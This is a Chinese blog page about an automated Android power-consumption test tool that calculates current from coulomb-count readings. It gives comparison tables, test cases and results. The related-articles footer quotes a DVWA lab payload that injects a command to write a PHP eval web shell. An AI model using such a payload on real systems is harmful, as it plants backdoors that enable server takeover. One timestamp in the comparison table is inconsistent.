库伦值自动化功耗测试工具

1. 功能介绍

PlatformPower工具可以自动化测试不同场景的功耗电流,并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。

主要原理:基于文件节点 coulomb_count 实现,计算公式:电流=(coulomb_count差值/时间差值)

场景-MTK平台

开始时间

开始时库伦值(0.1mAh)

结束时间

结束时库伦值(0.1mAh)

测试时长(s)

库伦值电流(mA)

实际电流(mA)

误差(mA)

暗屏待机20分钟

0:17:53

-204

0:37:54

-179

1119

7.49

6.91

0.58

播放视频10分钟

0:56:19

-296

0:06:19

-988

600

415.17

419.23

-4.06

暗屏+音乐播放10分钟

1:14:05

-1307

1:24:05

-1381

600

44.39

43.38

1.01

游戏(开心消消乐)5分钟

1:55:46

-479

2:00:46

-927

300

537.61

542.52

-4.91

百度地图室内导航 5分钟

2:16:09

-2004

2:21:09

-2316

300

374.39

377.89

-3.5

亮屏+桌面待机5分钟

2:28:05

-2720

2:33:05

-2970

300

299.99

301.8

-1.81

基于库伦值计算场景平均电流与PowerMoniter实际电流对比,误差比较小,有一定参考意义,方案可行

2. 自动化测试用例项目

待机灭屏1分钟后开始测试电流(关闭BT、WLAN,GPS,开启飞行模式)

默认亮度,亮屏电流(固定资源taiga.png)

最暗亮度,亮屏电流(固定资源taiga.png)

最亮亮度,亮屏电流(固定资源taiga.png)

申请PARTIAL_WAKE_LOCK锁,灭屏(灭屏idle),测试结束且计算完电流后,需强行亮屏并释放该锁

最亮亮度,默认音量,播放视频电流(片源固定资源)

最亮亮度,最大音量,播放视频电流(片源固定资源)

最亮亮度,静音音量,播放视频电流(片源固定资源)

默认亮度,默认音量,播放视频电流(片源固定资源)

最大音量,外放,播放一首固定音乐,灭屏1分钟后开始测试

默认音量,外放,播放一首固定音乐,灭屏1分钟后开始测试

静音,外放,播放一首固定音乐,灭屏1分钟后开始测试

呼吸灯工作时灭屏1分钟后开始测试。测试结束后需关闭

开启手电筒,灭屏1分钟后开始测试

关闭手电筒,灭屏1分钟后开始测试

打开FM,收听电台,灭屏1分钟后开始测试

关闭FM,灭屏1分钟后开始测试,待机电流

开启GPS,灭屏1分钟后开始测试,待机电流

关闭GPS,灭屏1分钟后开始测试,待机电流

开启蓝牙,灭屏1分钟后开始测试,待机电流

关闭蓝牙,灭屏1分钟后开始测试,待机电流

开启wifi,连接AP,灭屏3分钟后开始测试,待机电流

关闭wifi,灭屏1分钟后开始测试,待机电流

开启数据连接,灭屏3分钟后开始测试,待机电流

关闭数据连接,灭屏1分钟后开始测试,待机电流

3. 界面UI

4. 导出测试结果

包含用例名称,开始执行时间,完成执行时间,开始电压 ,开始库伦值,开始电量,结束电压,结束库伦值 ,结束电量,平均电流,功率数据显示

用例名称

平均电流mA

恢复出厂设置,待机灭屏1分钟后开始测试电流(关闭BT、WLAN,GPS,开启飞行模式)

5.39

默认亮度,亮屏电流(固定资源taiga.png)

194.05

最暗亮度,亮屏电流(固定资源taiga.png)

113.1

最亮亮度,亮屏电流(固定资源taiga.png)

300.0

申请PARTIAL_WAKE_LOCK锁,灭屏(灭屏idle),测试结束且计算完电流后,需强行亮屏并释放该锁

5.39

最亮亮度,默认音量,播放视频电流(片源固定资源)

380.95

最亮亮度,最大音量,播放视频电流(片源固定资源)

435.71

最亮亮度,静音音量,播放视频电流(片源固定资源)

372.62

默认亮度,默认音量,播放视频电流(片源固定资源)

286.9

最大音量,外放,播放一首固定音乐,灭屏1分钟后开始测试

119.46

默认音量,外放,播放一首固定音乐,灭屏1分钟后开始测试

66.47

静音,外放,播放一首固定音乐,灭屏1分钟后开始测试

63.47

开启手电筒,灭屏1分钟后开始测试

186.9

关闭手电筒,灭屏1分钟后开始测试

4.79

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948118.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AWS re:Invent 的创新技术

本月早些时候,Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re:Invent 大会。如果您从未参加过 re:Invent 会议,那么最能描述它的词是“巨大”——不仅从与会者人数(60,000 人)来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…

Java SpringBoot使用Apache POI导入导出Excel文件

点击下载《Java SpringBoot使用Apache POI导入导出Excel文件(源代码)》 1. Apache POI 简介 Apache POI 是一个强大的 Java 库&#xff0c;用于处理 Microsoft Office 文档&#xff0c;包括 Excel 文件&#xff08;.xls 和 .xlsx&#xff09;。在 Java Spring Boot 项目中&am…

基于Spring Boot的健康饮食管理系统

一、系统架构与技术栈 系统架构&#xff1a;系统通常采用典型的三层架构设计&#xff0c;分为表现层、业务逻辑层和数据访问层。表现层负责与用户进行交互&#xff0c;展示信息和接收用户输入&#xff1b;业务逻辑层处理系统的核心业务&#xff0c;如用户信息管理、饮食记录分…

Maven 详细配置:Maven 项目 POM 文件解读

Maven 是 Java 开发领域中广泛使用的项目管理和构建工具&#xff0c;通过其核心配置文件——POM&#xff08;Project Object Model&#xff09;文件&#xff0c;开发者能够定义项目的基本信息、依赖关系、插件配置以及构建生命周期等关键要素。POM 文件不仅是 Maven 项目的核心…

计算机网络 (23)IP层转发分组的过程

一、IP层的基本功能 IP层&#xff08;Internet Protocol Layer&#xff09;是网络通信模型中的关键层&#xff0c;属于OSI模型的第三层&#xff0c;即网络层。它负责在不同网络之间传输数据包&#xff0c;实现网络间的互联。IP层的主要功能包括寻址、路由、分段和重组、错误检测…

pip安装paddle失败

一、pip安装paddle失败&#xff0c;报错如下 Preparing metadata (setup.py) ... error error: subprocess-exited-with-error import common, dual, tight, data, prox ModuleNotFoundError: No module named common [end of output] 二、解决方法&#xff1a; 按照提示安装对…

计算机网络 (19)扩展的以太网

前言 以太网&#xff08;Ethernet&#xff09;是一种局域网&#xff08;LAN&#xff09;技术&#xff0c;它规定了包括物理层的连线、电子信号和介质访问层协议的内容。以太网技术不断演进&#xff0c;从最初的10Mbps到如今的10Gbps、25Gbps、40Gbps、100Gbps等&#xff0c;已成…

企业二要素如何用java实现

一、什么是企业二要素&#xff1f; 企业二要素&#xff0c;通过输入统一社会信用代码、企业名称或统一社会信用代码、法人名称&#xff0c;验证两者是否匹配一致。 二、企业二要素适用哪些场景&#xff1f; 例如&#xff1a;企业日常运营 1.文件与资料管理&#xff1a;企业…

企业三要素如何用PHP实现调用

一、什么是企业三要素&#xff1f; 企业三要素即传入的企业名称、法人名称、社会统一信用代码或注册号&#xff0c;校验此三项是否一致。 二、具体怎么样通过PHP实现接口调用&#xff1f; 下面我们以阿里云为例&#xff0c;通过PHP示例代码进行调用&#xff0c;参考如下&…

一份完整的软件测试报告如何编写?

在软件开发的过程中&#xff0c;测试是必不可少的环节。然而&#xff0c;测试报告往往是最被忽视的部分。你是否也曾在忙碌的测试工作后&#xff0c;面对一份模糊不清的测试报告感到头疼&#xff1f;一份清晰、完整且结构合理的测试报告&#xff0c;能够帮助团队快速了解软件的…

021-spring-springmvc-组件

SpringMVC的handMapping 比较重要的部分 比较重要的部分 比较重要的部分 关于组件的部分 这里以 RequestMappingHandlerMapping 为例子 默认的3个组件是&#xff1a; org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping org.springframework.web.servlet.mvc…

Golang的并发编程实战经验

## Golang的并发编程实战经验 并发编程是什么 并发编程是指程序的多个部分可以同时执行&#xff0c;这样可以提高程序的性能和效率。在Golang中&#xff0c;并发编程是通过goroutine来实现的&#xff0c;goroutine是一种轻量级线程&#xff0c;可以在一个程序中同时运行成千上万…

【时时三省】(C语言基础)常见的动态内存错误

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ----CSDN 时时三省 对NULL指针的解引用操作 示例&#xff1a; malloc申请空间的时候它可能会失败 比如我申请一块非常大的空间 那么空间可能就会开辟失败 正常的话要写一个if&#xff08;p&#xff1d;&#x…